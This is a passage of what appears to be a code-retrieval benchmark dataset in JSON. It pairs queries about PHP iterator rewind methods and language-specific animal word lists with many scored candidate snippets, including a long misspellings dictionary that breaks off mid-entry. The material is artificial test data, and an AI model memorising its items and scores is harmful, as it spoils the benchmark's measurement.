0;\n\t}", "title": "" }, { "docid": "e940a861c48197d1d16be20a2de3c102", "score": "0.70767546", "text": "public function rewind() {\n $this->current = 0;\n }", "title": "" }, { "docid": "2cc6aef0b32734c2458e57ef61abc71f", "score": "0.7044402", "text": "public function rewind()\n {\n $this->index = 0;\n }", "title": "" }, { "docid": "2cc6aef0b32734c2458e57ef61abc71f", "score": "0.7044402", "text": "public function rewind()\n {\n $this->index = 0;\n }", "title": "" }, { "docid": "07b6130e8a3855d40b928af05ca50332", "score": "0.70136493", "text": "public function rewind ()\r\n {\r\n reset($this->_data);\r\n $this->_iterationPointerValid = true;\r\n }", "title": "" }, { "docid": "aef98b2d5b16eb06c396819780210570", "score": "0.699176", "text": "public function rewind()\n\t{\n\t\tparent::rewind();\n\t\t$this->advance();\n\t}", "title": "" }, { "docid": "f83716bdcf80e25fcbfd070f897eaeed", "score": "0.69903135", "text": "public function rewind()\n {\n $this->key = 0;\n }", "title": "" }, { "docid": "b5b1cec171e8fed6a916dc4e486f6b9d", "score": "0.69817996", "text": "public function rewind(){\n $this->index = 0;\n }", "title": "" }, { "docid": "ce2c2e9d482b512b78881579725b4d6a", "score": "0.6969871", "text": "public function rewind()\n {\n reset($this->_data);\n $this->_index = 0;\n }", "title": "" }, { "docid": "e252291140e8bfa3f1ab98b9690d2fb7", "score": "0.696642", "text": "#[\\ReturnTypeWillChange]\n public function rewind()\n {\n $this->key = 0;\n }", "title": "" }, { "docid": "67a6cadcc2dc4242f9e9f24d763341ff", "score": "0.6957192", "text": "public function rewind()\n {\n $this->_position = 0;\n\n $this->_elementsIndexed = array_values($this->_elements);\n }", "title": "" }, { "docid": "56725cfe57c75e59445056552c8bdd59", "score": "0.6946568", "text": "public function rewind() {\n $this->_index = 0;\n parent::rewind();\n }", "title": "" }, { "docid": "546f63c4f9622c762c2470cb270fdcd7", "score": "0.6938374", "text": "public function rewind()\n {\n reset($this->rows);\n }", "title": "" }, { "docid": "0bce51a74c8e537f8d7ddf84dd3a28d6", "score": "0.69354", "text": "public function rewind() {\n $this->result->data_seek(0);\n $this->index = 0;\n }", "title": "" }, { "docid": "8cf40d9a0561749c9b05aa730b8186d1", "score": "0.6925199", "text": "public function rewind()\n\t{\n\t\treset($this->_IteratorKeys);\n\t}", "title": "" }, { "docid": "c32e1b59cfcfbe40c6748633073a4203", "score": "0.69244885", "text": "public function rewind() {\n $this->m_index = 0;\n $this->m_source->data_seek( 0 );\n }", "title": "" }, { "docid": "9be0d2ebec1f3e9a8614613c387f28d8", "score": "0.69116426", "text": "public function rewind()\n {\n reset( $this->value );\n $this->count = count( $this->value );\n }", "title": "" }, { "docid": "30a3b67003405895e4003605f3c58219", "score": "0.68963987", "text": "public function rewind()\n\t{\n\t\t$this->_indexPointer = 0;\n\t}", "title": "" }, { "docid": "f86aa33c3ebed61fc33cfbbf58cdab30", "score": "0.6896374", "text": "public function rewind()\r\n {\r\n $this->_key = reset($this->_keys);\r\n }", "title": "" }, { "docid": "83d234ccce8a799a2043f465eaaf6b9c", "score": "0.68688625", "text": "private static function rewind($iterator)\n {\n $iterator->rewind();\n return $iterator;\n }", "title": "" }, { "docid": "42ab3ac6e7bbf5fb7107a051f25d2135", "score": "0.6859209", "text": "public function first() {\n\t\treturn reset($this->items);\n\t}", "title": "" }, { "docid": "c761e3f59e71944207320853d8aa7000", "score": "0.6838621", "text": "public function rewind()\n {\n \t$this->key=reset($this->keys);\n }", "title": "" }, { "docid": "7330a08aa56709c1a5b940543f4c08d0", "score": "0.68306315", "text": "public function rewind() {\n reset($this->values);\n }", "title": "" }, { "docid": "284da2ccbb50854a42a9d248e05808df", "score": "0.6825776", "text": "public function rewind()\n {\n reset($this->data);\n }", "title": "" }, { "docid": "fd390cc362f01ac10e1dfe913d1de7c8", "score": "0.6820883", "text": "public function rewind() {\n\t\treturn reset($this->_array);\n\t}", "title": "" }, { "docid": "97f9bdced8c31181b8048a2e99bdff86", "score": "0.681567", "text": "public function rewind()\n {\n\t$this->pointer = 0;\n\t$this->result->seek($this->offset);\n\t$this->row = $this->result->fetch();\n }", "title": "" }, { "docid": "155e71eb39c00a50e37a552e87fe5f2e", "score": "0.6808417", "text": "public function rewind()\n {\n $this->seek(0);\n }", "title": "" }, { "docid": "844e9931affc4ed4fe69054dd0e59f06", "score": "0.6804287", "text": "public function first()\n {\n return Iterators::first($this->iterator);\n }", "title": "" }, { "docid": "74b406e76bf0dff4d838eb597a703f50", "score": "0.6799707", "text": "public function rewind()\n {\n $this->valid = (false !== reset($this->items));\n }", "title": "" }, { "docid": "08356f575fd250b7968a4a30973a4799", "score": "0.67933005", "text": "public function rewind()\n {\n $this->current_index = $this->current_index--;\n }", "title": "" }, { "docid": "64ebc50e13a922af93a6aa333f3fab8d", "score": "0.67920053", "text": "public function rewind()\n\t{\n\t\treturn reset($this->array);\n\t}", "title": "" }, { "docid": "e8eb6953c203393963bd5797fda72364", "score": "0.67865044", "text": "function rewind() {\n\t\treturn reset($this->arr);\n\t}", "title": "" }, { "docid": "9a9d2b83accc9887bca6c5a8d4df4ac3", "score": "0.6786353", "text": "public function next() { $this->current = next($this->items) !== false ? key($this->items) : null; }", "title": "" }, { "docid": "0c4114ca6784ab9b5711e06408593d30", "score": "0.6784774", "text": "public function rewind()\n {\n reset($this->_data);\n }", "title": "" }, { "docid": "f17653978cece98794c08ba4d8039117", "score": "0.67764556", "text": "public function rewind()\n {\n $this->currentPosition = 0;\n }", "title": "" }, { "docid": "ad783901d39ffce045f81f108e7dac18", "score": "0.6746759", "text": "public function rewind() {\n $this->key = $this->first_key($this->day);\n }", "title": "" }, { "docid": "c1ae3132aee78e2275b38a376bbb5a0a", "score": "0.67407244", "text": "public function rewind()\n {\n $this->position = 0;\n }", "title": "" }, { "docid": "d42309b1b1fd7dacd3ea12700817e09b", "score": "0.6738664", "text": "public function reset()\n\t{\n\t\t$this->pointer = 0;\n\n\t\treturn $this->current();\n\t}", "title": "" }, { "docid": "15a4bd8f06ce9bc8c3d20c7c08ebcce4", "score": "0.6733745", "text": "public function rewind()\n {\n $this->row = 2;\n }", "title": "" }, { "docid": "e92c38d3d92f6f3785e52a4521367b9e", "score": "0.67318565", "text": "public function rewind()\n {\n return $this->seek(0);\n }", "title": "" }, { "docid": "fc6cb9c1ae18767c06078255be777e30", "score": "0.67294466", "text": "public function first()\n {\n // To not change the internal array pointer we invoke reset() in a closure\n $reset = function ($array) {\n return reset($array);\n };\n\n return $reset($this->array);\n }", "title": "" }, { "docid": "e187229393c7a8f9a224c52741567341", "score": "0.6722792", "text": "public function rewind()\n {\n $this->_position = 0;\n }", "title": "" }, { "docid": "3bb6177342363f612965bc425b19fa99", "score": "0.6720578", "text": "public function rewind() {\n $this->cursor = 0;\n }", "title": "" }, { "docid": "9a7a8d77badc999486fc272db1bf36b1", "score": "0.6715359", "text": "public function rewind()\n {\n $this->_position = 0;\n return $this->_nodeList->item(0);\n }", "title": "" }, { "docid": "a6f0f39115c8aab913acb952cd192e1e", "score": "0.6707078", "text": "public function rewind() {\n\t\t$this->__position = 0;\n\t}", "title": "" }, { "docid": "2037e4904cdf096edec2cae26f51e847", "score": "0.66981894", "text": "public function first()\n {\n $this->rewind();\n return $this->current();\n }", "title": "" }, { "docid": "bdb96dc501a1c6da95d10213c6e8b195", "score": "0.6697507", "text": "public function rewind()\n {\n $this->cursor = 0;\n }", "title": "" }, { "docid": "cd8e8ee61df0c2e37ccc3a5cc7a33774", "score": "0.6688258", "text": "public function rewind() {\n\t\t$this->_position = 0;\n\t}", "title": "" }, { "docid": "2c2151d09fb804d07f7afc1dc904b686", "score": "0.6686366", "text": "public function rewind()\n {\n $this->_pos = 0;\n }", "title": "" }, { "docid": "160f224c03c660918aca83491e17734c", "score": "0.66799134", "text": "public function rewind() {\n if ($this->count() > 0) {\n $this->currentKey = 0;\n $this->next();\n }\n return $this;\n }", "title": "" }, { "docid": "75216bb75986ccab39b01503662ad3b4", "score": "0.6671103", "text": "public function rewind()\n {\n if ($this->pos !== 0) {\n fseek($this->stream, 0);\n $this->current = null;\n $this->isExhausted = false;\n }\n }", "title": "" }, { "docid": "6774eec2b2edbbf5a40d95d083e2b2c1", "score": "0.66681236", "text": "public function rewind() {\n\t\t$this->position = 0;\n\t}", "title": "" }, { "docid": "6774eec2b2edbbf5a40d95d083e2b2c1", "score": "0.66681236", "text": "public function rewind() {\n\t\t$this->position = 0;\n\t}", "title": "" }, { "docid": "6774eec2b2edbbf5a40d95d083e2b2c1", "score": "0.66681236", "text": "public function rewind() {\n\t\t$this->position = 0;\n\t}", "title": "" }, { "docid": "a4918e4dc559fc91d1d8ad6051ddbc3b", "score": "0.66637486", "text": "public function rewind() {\n $this->_position = 0;\n }", "title": "" }, { "docid": "54efc7a38cad5ba300d8eb74e043835c", "score": "0.66629446", "text": "public function rewind()\n {\n return $this->seek($this->_start);\n }", "title": "" }, { "docid": "671ab65823dd25eb28cbd12a2df54843", "score": "0.665834", "text": "final public function rewind()\n {\n $this->position = 0;\n }", "title": "" }, { "docid": "3595317609be7d9b1d2390335e4182d6", "score": "0.6656443", "text": "public function first()\n {\n $this->rewind();\n\n return $this->current();\n }", "title": "" }, { "docid": "78537acfe41c6c4bb1fe0dfea0da7b75", "score": "0.66555375", "text": "public function rewind() {\n\t\treturn $this->current_row = 0;\n\t}", "title": "" }, { "docid": "43bc274e8b8ae9643f99c8553a09d05f", "score": "0.66550034", "text": "public function rewind()\n\t{\n\n\t\t$this->position = 0;\n\t}", "title": "" } ]
9c524d0fb4622ff7528c272d470bc70f
Grab the animals from the language we want
[ { "docid": "ef67628b7689af0be9d8bfa59bf17ead", "score": "0.50753963", "text": "function generate_images($language) {\n $wordlist = get_animal_wordlist($language);\n $image_locations = array();\n foreach($wordlist as $eng_animal => $ind_animal) {\n // Build string for filename\n $filepath = \"../images/memory_game/\" . $eng_animal . \"_\" . $ind_animal . \".jpg\";\n // Check if file exists - if it does then do not create new image \n if (!file_exists($filepath)) {\n // Create Image From Existing File\n $png_image = imagecreatefrompng(\"../images/memory_game/\" . $eng_animal . \".png\");\n // Allocate A Color For The Text\n $black = imagecolorallocate($png_image, 0, 0, 0);\n // Set Text to Be Printed On Image\n $text = $ind_animal;\n $x = 100;\n $y = 1400;\n $size = 100;\n $angle = 0;\n $font = __DIR__ . \"\\\\fonts\\FredokaOne-Regular.ttf\";\n // Print Text On Image\n imagettftext($png_image, $size, $angle, $x, $y, $black, $font, $text);\n $small_image = imagescale($png_image, 300);\n // Save image to disk\n imagejpeg($small_image, $filepath);\n // Clear Memory\n imagedestroy($png_image);\n imagedestroy($small_image);\n }\n // Push image location to array\n array_push($image_locations, $filepath);\n }\n \n echo json_encode($image_locations);\n }", "title": "" } ]
[ { "docid": "fd267c0774845eb26fc34e5e79811572", "score": "0.7229993", "text": "function get_animal_wordlist($language)\n{\n ini_set(\"display_errors\", 1);\n error_reporting(E_ALL ^ E_NOTICE);\n\n $url = \"https://data.gov.au/api/3/action/datastore_search?resource_id=3e39dd7d-e777-4f47-9160-95aaca34bff5\";\n $response = file_get_contents($url);\n $data = json_decode($response, true);\n $animals = array();\n $needed_animals = array('crow', 'dingo wild dog', 'emu', 'kangaroo', 'koala', 'possum', 'sugar glider', 'wallaby');\n \n if (is_array($data)) {\n foreach($data[\"result\"][\"records\"] as $recordKey => $recordValue) {\n // strip then check if word we need\n $english = str_replace(\"/\", \" \", strtolower(trim($recordValue[\"English\"])));\n if(in_array($english, $needed_animals)) {\n $ind = $recordValue[$language];\n $animals[$english] = $ind;\n }\n }\n }\n return $animals;\n \n}", "title": "" }, { "docid": "ca51c8a732a28557c535b3654c914f75", "score": "0.6092155", "text": "function flavorCatcher(array $species)\n{\n $flavor_en = [];\n foreach ($species[\"flavor_text_entries\"] AS $flavor_text) {\n if ($flavor_text[\"language\"][\"name\"] === \"en\") {\n $flavor_en[] = $flavor_text[\"flavor_text\"];\n }\n }\n return $flavor_en;\n}", "title": "" }, { "docid": "dd7dc88b7a9c3efb946678739dc3bf10", "score": "0.60294014", "text": "public function languages();", "title": "" }, { "docid": "ef6384cfc0bb681ae38d71fc76177908", "score": "0.5918044", "text": "function b_get_languages()\n{\n $langItems = [];\n $rawItems = pll_the_languages( [\n 'echo' => false,\n 'hide_if_empty' => false,\n 'hide_if_no_translation' => false,\n 'raw' => true\n ] );\n\n foreach ($rawItems as $raw) {\n // Si vous souhaitez faire des manipulations sur le format des données, c'est ici. (Par exemple: changer les codes de langues de \"es\" à \"ESP\" pour des besoins en CSS)\n $item = new stdClass();\n $item->label = $raw['name'];\n $item->url = $raw['url'];\n $item->code = $raw['slug'];\n array_push($langItems, $item);\n }\n\n return $langItems;\n}", "title": "" }, { "docid": "4527f81d1b29ec20b80db782897fc16b", "score": "0.58305293", "text": "function NiveisLinguas() {\n\n $niveis_tipos = array(\n \"INICIANTE\" => \"É capaz de dizer e de perguntar o dia, a hora e a data, usar formas básicas de saudação, preencher formulários simples com dados pessoais: nome, morada, nacionalidade, estado civil.\",\n \"A1\" => \"É capaz de compreender e usar expressões familiares e cotidianas, enunciados muito simples para satisfazer necessidades concretas; pode apresentar-se e apresentar outros, fazer perguntas e dar respostas sobre aspectos pessoais como o local onde vive, as pessoas que conhece e as coisas que tem; pode comunicar-se de modo simples se o interlocutor falar lenta e distintamente.\",\n \"A2\" => \"É capaz de compreender frases isoladas e expressões frequentes relacionadas a áreas de prioridade imediata; é capaz de comunicar-se em tarefas simples e em rotinas que exigem apenas uma troca de informação direta sobre assuntos que lhe são familiares e habituais; pode descrever de modo simples sua formação, o meio circundante e referir-se a assuntos relacionados a necessidades imediatas.\",\n \"B1\" => \"É capaz de compreender as questões principais quando é usada linguagem clara e padronizada e os assuntos lhe são familiares; é capaz de lidar com a maioria das situações encontradas na região onde se fala a língua-alvo, de produzir um discurso simples e coerente sobre assuntos que lhe são familiares ou de interesse pessoal; pode descrever experiências e eventos, sonhos, esperanças e ambições, bem como expor brevemente razões e justificativas para uma opinião ou um projeto.\",\n \"B2\" => \"É capaz de compreender as ideias principais em textos complexos sobre assuntos concretos e abstratos, incluindo discussões técnicas na sua área de especialidade. É capaz de se comunicar com certo grau de espontaneidade com falantes nativos, sem que haja tensão de parte a parte. É capaz de exprimir-se de modo claro e pormenorizado sobre uma grande variedade de temas e explicar um ponto de vista sobre um tema da atualidade, expondo as vantagens e os inconvenientes de várias possibilidades.\",\n \"C1\" => \"É capaz de compreender um vasto número de textos longos e exigentes, reconhecendo os seus significados implícitos, de exprimir-se de forma fluente e espontânea sem precisar pesquisar muitas palavras; é capaz de usar a língua de modo flexível e eficaz para fins sociais, acadêmicos e profissionais; exprimir-se sobre temas complexos de forma clara e bem estruturada, manifestando o domínio de mecanismos de organização, de articulação e de coesão do discurso.\",\n \"C2\" => \"É capaz de compreender praticamente tudo o que ouve ou lê, de resumir as informações recolhidas em diversas fontes orais e escritas, reconstruindo argumentos e fatos de modo coerente; é capaz de exprimirse espontaneamente de modo fluente e com exatidão e de distinguir finas variações de significado em situações complexas.\",\n \"Não se aplica\" => \"\",\n );\n\n return $niveis_tipos;\n}", "title": "" }, { "docid": "a4d37532fd7e1d7c79de4b18c9ac4f61", "score": "0.57117724", "text": "function languages () {\n if ($this->main_languages == \"\") {\n if ($this->page[\"Title\"] == \"\") $this->openpage (\"Title\");\n $lang_s = 0;\n $lang_e = 0;\n $i = 0;\n $this->main_languages = array();\n while (strpos($this->page[\"Title\"], \"/Sections/Languages/\", $lang_e) > $lang_s) {\n\t$lang_s = strpos ($this->page[\"Title\"], \"/Sections/Languages/\", $lang_s);\n\t$lang_s = strpos ($this->page[\"Title\"], \">\", $lang_s);\n\t$lang_e = strpos ($this->page[\"Title\"], \"<\", $lang_s);\n\t$this->main_languages[$i] = substr ($this->page[\"Title\"], $lang_s + 1, $lang_e - $lang_s - 1);\n\t$i++;\n }\n }\n return $this->main_languages;\n }", "title": "" }, { "docid": "9c56fba345d99e47ea265860476c46a6", "score": "0.57014495", "text": "public function actionGetLanguages() {\n $query = $_REQUEST['query'];\n $sql = \"SELECT name FROM languages WHERE name LIKE '{$query}%'\";\n $languages = Languages::findBySql($sql)->all();\n $cat_array = array();\n foreach ($languages as $languages_name) {\n $languages_array[] = $languages_name->name;\n }\n //RETURN JSON ARRAY\n return json_encode($languages_array);\n }", "title": "" }, { "docid": "c5d22ec1979e76031b6e9954d4c8c34a", "score": "0.5640305", "text": "public function getLanguages();", "title": "" }, { "docid": "dd060377539111147a6c0067b51de3bc", "score": "0.5622196", "text": "function genetic_array_gramcat ($namelang) {\n\n\t// Get the gramatical categories in the specified language\n\t\n\n\t// Make an array with this categories\n\tif($namelang=='de'){\n\t $gramcat = array (\"f\", \"m\", \"n\", \"adj\", \"adv\", \"vtr\", \"vintr\"); // German includes also neutral \n\t} elseif($namelang=='es'){\n\t\t$gramcat = array (\"f\", \"m\", \"s\", \"adj\", \"adv\", \"vtr\", \"vintr\");//Español añadida la s\n\t}elseif($namelang=='en'){\n\t\t$gramcat = array (\"s\", \"adj\", \"adv\", \"vtr\", \"vintr\");//Español añadida la s y eliminadas f y m\n\t}else{\t\t\n\t$gramcat = array (\"f\", \"m\", \"adj\", \"adv\", \"vtr\", \"vintr\");\n\t}\n\t\n\treturn ($gramcat);\n}", "title": "" }, { "docid": "28f307bdadc2832fc0d76c9e89d5ca5c", "score": "0.5557544", "text": "function ptv_get_municipalities( $lang = null ) {\n\n\tif ( ! $lang ) {\n\t\t$settings = ptv_get_settings();\n\t\t$lang = $settings['primary_language'];\n\t}\n\n\t$municipalities = json_decode( file_get_contents( PTV_FOR_WORDPRESS_DIR . '/resources/municipalities.json' ) );\n\t$municipality_options = array();\n\n\tif ( isset( $municipalities ) and is_array( $municipalities ) ) {\n\t\tforeach ( $municipalities as $municipality_object ) {\n\n\t\t\tforeach ( $municipality_object->names as $name ) {\n\t\t\t\tif ( $lang === $name->language ) {\n\t\t\t\t\t$municipality_options[ $municipality_object->municipalityCode ] = $name->name;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn $municipality_options;\n\n}", "title": "" }, { "docid": "4452842ec16668d816dfb7d7e6b23fa9", "score": "0.55526936", "text": "public function EnglishMisspellingsWords() {\r\n\t\t\treturn [\r\n\t\t\t\t'each'=>[\r\n\t\t\t\t\t'cach',\r\n\t\t\t\t\t'each each',\r\n\t\t\t\t\t'each each each',\r\n\t\t\t\t\t'ech',\r\n\t\t\t\t],\r\n\t\t\t\t'each other'=>[\r\n\t\t\t\t\t'eachother',\r\n\t\t\t\t],\r\n\t\t\t\t'eager'=>[\r\n\t\t\t\t\t'eger',\r\n\t\t\t\t],\r\n\t\t\t\t'eagle'=>[\r\n\t\t\t\t\t'egle',\r\n\t\t\t\t],\r\n\t\t\t\t'ear'=>[\r\n\t\t\t\t\t'ear ear',\r\n\t\t\t\t\t'ear ear ear',\r\n\t\t\t\t\t'er',\r\n\t\t\t\t],\r\n\t\t\t\t'eared'=>[\r\n\t\t\t\t\t'ered',\r\n\t\t\t\t],\r\n\t\t\t\t'earl'=>[\r\n\t\t\t\t\t'erl',\r\n\t\t\t\t],\r\n\t\t\t\t'earlier'=>[\r\n\t\t\t\t\t'ealier',\r\n\t\t\t\t\t'eariler',\r\n\t\t\t\t\t'earler',\r\n\t\t\t\t],\r\n\t\t\t\t'earliest'=>[\r\n\t\t\t\t\t'ealiest',\r\n\t\t\t\t],\r\n\t\t\t\t'early'=>[\r\n\t\t\t\t\t'earely',\r\n\t\t\t\t\t'early early',\r\n\t\t\t\t\t'early early early',\r\n\t\t\t\t\t'eary',\r\n\t\t\t\t\t'earally',\r\n\t\t\t\t\t'earaly',\r\n\t\t\t\t\t'earlly',\r\n\t\t\t\t\t'erly',\r\n\t\t\t\t],\r\n\t\t\t\t'earn'=>[\r\n\t\t\t\t\t'ern',\r\n\t\t\t\t],\r\n\t\t\t\t'earned'=>[\r\n\t\t\t\t\t'earnt',\r\n\t\t\t\t],\r\n\t\t\t\t'earnest'=>[\r\n\t\t\t\t\t'ernest',\r\n\t\t\t\t],\r\n\t\t\t\t'earnestly'=>[\r\n\t\t\t\t\t'earnestally',\r\n\t\t\t\t\t'earnestaly',\r\n\t\t\t\t\t'earnestely',\r\n\t\t\t\t\t'earnestlly',\r\n\t\t\t\t],\r\n\t\t\t\t'earnestnesses'=>[\r\n\t\t\t\t\t'ernestnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'earnings'=>[\r\n\t\t\t\t\t'ernings',\r\n\t\t\t\t],\r\n\t\t\t\t'earpiece'=>[\r\n\t\t\t\t\t'earpeice',\r\n\t\t\t\t\t'earpice',\r\n\t\t\t\t],\r\n\t\t\t\t'earring'=>[\r\n\t\t\t\t\t'earing',\r\n\t\t\t\t],\r\n\t\t\t\t'ears'=>[\r\n\t\t\t\t\t'ers',\r\n\t\t\t\t],\r\n\t\t\t\t'earsplitting'=>[\r\n\t\t\t\t\t'ersplitting',\r\n\t\t\t\t],\r\n\t\t\t\t'earth'=>[\r\n\t\t\t\t\t'ealth',\r\n\t\t\t\t\t'earth earth',\r\n\t\t\t\t\t'earth earth earth',\r\n\t\t\t\t\t'erth',\r\n\t\t\t\t],\r\n\t\t\t\t'earthbound'=>[\r\n\t\t\t\t\t'erthbound',\r\n\t\t\t\t],\r\n\t\t\t\t'earthenware'=>[\r\n\t\t\t\t\t'erthenware',\r\n\t\t\t\t],\r\n\t\t\t\t'earthenwares'=>[\r\n\t\t\t\t\t'erthenwares',\r\n\t\t\t\t],\r\n\t\t\t\t'earthinesses'=>[\r\n\t\t\t\t\t'erthinesses',\r\n\t\t\t\t],\r\n\t\t\t\t'earthlinesses'=>[\r\n\t\t\t\t\t'earthlinisses',\r\n\t\t\t\t\t'erthlinesses',\r\n\t\t\t\t],\r\n\t\t\t\t'earthly'=>[\r\n\t\t\t\t\t'earthally',\r\n\t\t\t\t\t'earthaly',\r\n\t\t\t\t\t'earthely',\r\n\t\t\t\t\t'earthlly',\r\n\t\t\t\t\t'erthly',\r\n\t\t\t\t],\r\n\t\t\t\t'earthmovings'=>[\r\n\t\t\t\t\t'erthmovings',\r\n\t\t\t\t],\r\n\t\t\t\t'earthquake'=>[\r\n\t\t\t\t\t'earthqauke',\r\n\t\t\t\t\t'erthquake',\r\n\t\t\t\t],\r\n\t\t\t\t'earthshaking'=>[\r\n\t\t\t\t\t'erthshaking',\r\n\t\t\t\t],\r\n\t\t\t\t'earthshakingly'=>[\r\n\t\t\t\t\t'erthshakingly',\r\n\t\t\t\t],\r\n\t\t\t\t'earthstar'=>[\r\n\t\t\t\t\t'earthster',\r\n\t\t\t\t],\r\n\t\t\t\t'earthy'=>[\r\n\t\t\t\t\t'erthy',\r\n\t\t\t\t],\r\n\t\t\t\t'earwigged'=>[\r\n\t\t\t\t\t'earwiged',\r\n\t\t\t\t],\r\n\t\t\t\t'ease'=>[\r\n\t\t\t\t\t'ease ease',\r\n\t\t\t\t\t'ease ease ease',\r\n\t\t\t\t\t'ese',\r\n\t\t\t\t],\r\n\t\t\t\t'easel'=>[\r\n\t\t\t\t\t'esel',\r\n\t\t\t\t],\r\n\t\t\t\t'easement'=>[\r\n\t\t\t\t\t'easemant',\r\n\t\t\t\t],\r\n\t\t\t\t'easily'=>[\r\n\t\t\t\t\t'easiliy',\r\n\t\t\t\t\t'easly',\r\n\t\t\t\t\t'easially',\r\n\t\t\t\t\t'easialy',\r\n\t\t\t\t\t'easiely',\r\n\t\t\t\t\t'easilly',\r\n\t\t\t\t\t'esily',\r\n\t\t\t\t],\r\n\t\t\t\t'east'=>[\r\n\t\t\t\t\t'east east',\r\n\t\t\t\t\t'east east east',\r\n\t\t\t\t\t'est',\r\n\t\t\t\t],\r\n\t\t\t\t'eastbound'=>[\r\n\t\t\t\t\t'estbound',\r\n\t\t\t\t],\r\n\t\t\t\t'easterly'=>[\r\n\t\t\t\t\t'easterally',\r\n\t\t\t\t\t'easteraly',\r\n\t\t\t\t\t'easterely',\r\n\t\t\t\t\t'easterlly',\r\n\t\t\t\t],\r\n\t\t\t\t'eastern'=>[\r\n\t\t\t\t\t'eastearn',\r\n\t\t\t\t\t'easten',\r\n\t\t\t\t\t'estern',\r\n\t\t\t\t],\r\n\t\t\t\t'easternmost'=>[\r\n\t\t\t\t\t'eastermost',\r\n\t\t\t\t\t'easternost',\r\n\t\t\t\t\t'esternmost',\r\n\t\t\t\t],\r\n\t\t\t\t'eastward'=>[\r\n\t\t\t\t\t'estward',\r\n\t\t\t\t],\r\n\t\t\t\t'easy'=>[\r\n\t\t\t\t\t'eacy',\r\n\t\t\t\t\t'esy',\r\n\t\t\t\t],\r\n\t\t\t\t'easygoing'=>[\r\n\t\t\t\t\t'esygoing',\r\n\t\t\t\t],\r\n\t\t\t\t'easygoingnesses'=>[\r\n\t\t\t\t\t'esygoingnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'eat'=>[\r\n\t\t\t\t\t'eat eat',\r\n\t\t\t\t\t'eat eat eat',\r\n\t\t\t\t\t'et',\r\n\t\t\t\t],\r\n\t\t\t\t'eatable'=>[\r\n\t\t\t\t\t'eatible',\r\n\t\t\t\t],\r\n\t\t\t\t'eaten'=>[\r\n\t\t\t\t\t'eated',\r\n\t\t\t\t\t'eten',\r\n\t\t\t\t],\r\n\t\t\t\t'eatery'=>[\r\n\t\t\t\t\t'eatary',\r\n\t\t\t\t\t'etery',\r\n\t\t\t\t],\r\n\t\t\t\t'eath'=>[\r\n\t\t\t\t\t'eth',\r\n\t\t\t\t],\r\n\t\t\t\t'eating'=>[\r\n\t\t\t\t\t'eting',\r\n\t\t\t\t],\r\n\t\t\t\t'eats'=>[\r\n\t\t\t\t\t'ets',\r\n\t\t\t\t],\r\n\t\t\t\t'eau'=>[\r\n\t\t\t\t\t'eu',\r\n\t\t\t\t],\r\n\t\t\t\t'eaux'=>[\r\n\t\t\t\t\t'eux',\r\n\t\t\t\t],\r\n\t\t\t\t'eave'=>[\r\n\t\t\t\t\t'eve',\r\n\t\t\t\t],\r\n\t\t\t\t'eaves'=>[\r\n\t\t\t\t\t'eves',\r\n\t\t\t\t],\r\n\t\t\t\t'eavesdrop'=>[\r\n\t\t\t\t\t'evesdrop',\r\n\t\t\t\t],\r\n\t\t\t\t'eavesdroppers'=>[\r\n\t\t\t\t\t'eavesdropers',\r\n\t\t\t\t],\r\n\t\t\t\t'eavesdropping'=>[\r\n\t\t\t\t\t'eavesdroping',\r\n\t\t\t\t],\r\n\t\t\t\t'ebb'=>[\r\n\t\t\t\t\t'eb',\r\n\t\t\t\t],\r\n\t\t\t\t'ebbed'=>[\r\n\t\t\t\t\t'ebed',\r\n\t\t\t\t],\r\n\t\t\t\t'ebbet'=>[\r\n\t\t\t\t\t'ebet',\r\n\t\t\t\t],\r\n\t\t\t\t'ebbets'=>[\r\n\t\t\t\t\t'ebets',\r\n\t\t\t\t],\r\n\t\t\t\t'ebbing'=>[\r\n\t\t\t\t\t'ebing',\r\n\t\t\t\t],\r\n\t\t\t\t'ebbs'=>[\r\n\t\t\t\t\t'ebs',\r\n\t\t\t\t],\r\n\t\t\t\t'ebullience'=>[\r\n\t\t\t\t\t'ebulleince',\r\n\t\t\t\t\t'ebulience',\r\n\t\t\t\t\t'ebulliance',\r\n\t\t\t\t\t'ebullince',\r\n\t\t\t\t],\r\n\t\t\t\t'ebulliences'=>[\r\n\t\t\t\t\t'ebulleinces',\r\n\t\t\t\t\t'ebullinces',\r\n\t\t\t\t],\r\n\t\t\t\t'ebulliency'=>[\r\n\t\t\t\t\t'ebulliensy',\r\n\t\t\t\t],\r\n\t\t\t\t'ebullient'=>[\r\n\t\t\t\t\t'ebulleint',\r\n\t\t\t\t\t'ebulient',\r\n\t\t\t\t\t'ebullint',\r\n\t\t\t\t],\r\n\t\t\t\t'ebulliently'=>[\r\n\t\t\t\t\t'ebulleintly',\r\n\t\t\t\t\t'ebullintly',\r\n\t\t\t\t],\r\n\t\t\t\t'eccentric'=>[\r\n\t\t\t\t\t'eccantric',\r\n\t\t\t\t\t'ecentric',\r\n\t\t\t\t],\r\n\t\t\t\t'eccentrically'=>[\r\n\t\t\t\t\t'ecentrically',\r\n\t\t\t\t],\r\n\t\t\t\t'eccentricities'=>[\r\n\t\t\t\t\t'eccentriciteis',\r\n\t\t\t\t\t'eccentricitis',\r\n\t\t\t\t\t'ecentricities',\r\n\t\t\t\t],\r\n\t\t\t\t'eccentricity'=>[\r\n\t\t\t\t\t'eccantricity',\r\n\t\t\t\t\t'ecentricity',\r\n\t\t\t\t],\r\n\t\t\t\t'eccentrics'=>[\r\n\t\t\t\t\t'ecentrics',\r\n\t\t\t\t],\r\n\t\t\t\t'ecchymoses'=>[\r\n\t\t\t\t\t'echymoses',\r\n\t\t\t\t],\r\n\t\t\t\t'ecchymosis'=>[\r\n\t\t\t\t\t'echymosis',\r\n\t\t\t\t],\r\n\t\t\t\t'ecchymotic'=>[\r\n\t\t\t\t\t'echymotic',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesia'=>[\r\n\t\t\t\t\t'eclesia',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiae'=>[\r\n\t\t\t\t\t'eclesiae',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesial'=>[\r\n\t\t\t\t\t'eclesial',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiastic'=>[\r\n\t\t\t\t\t'ecclesiatic',\r\n\t\t\t\t\t'eclesiastic',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiastical'=>[\r\n\t\t\t\t\t'ecclesiatical',\r\n\t\t\t\t\t'ecclestiastical',\r\n\t\t\t\t\t'eclesiastical',\r\n\t\t\t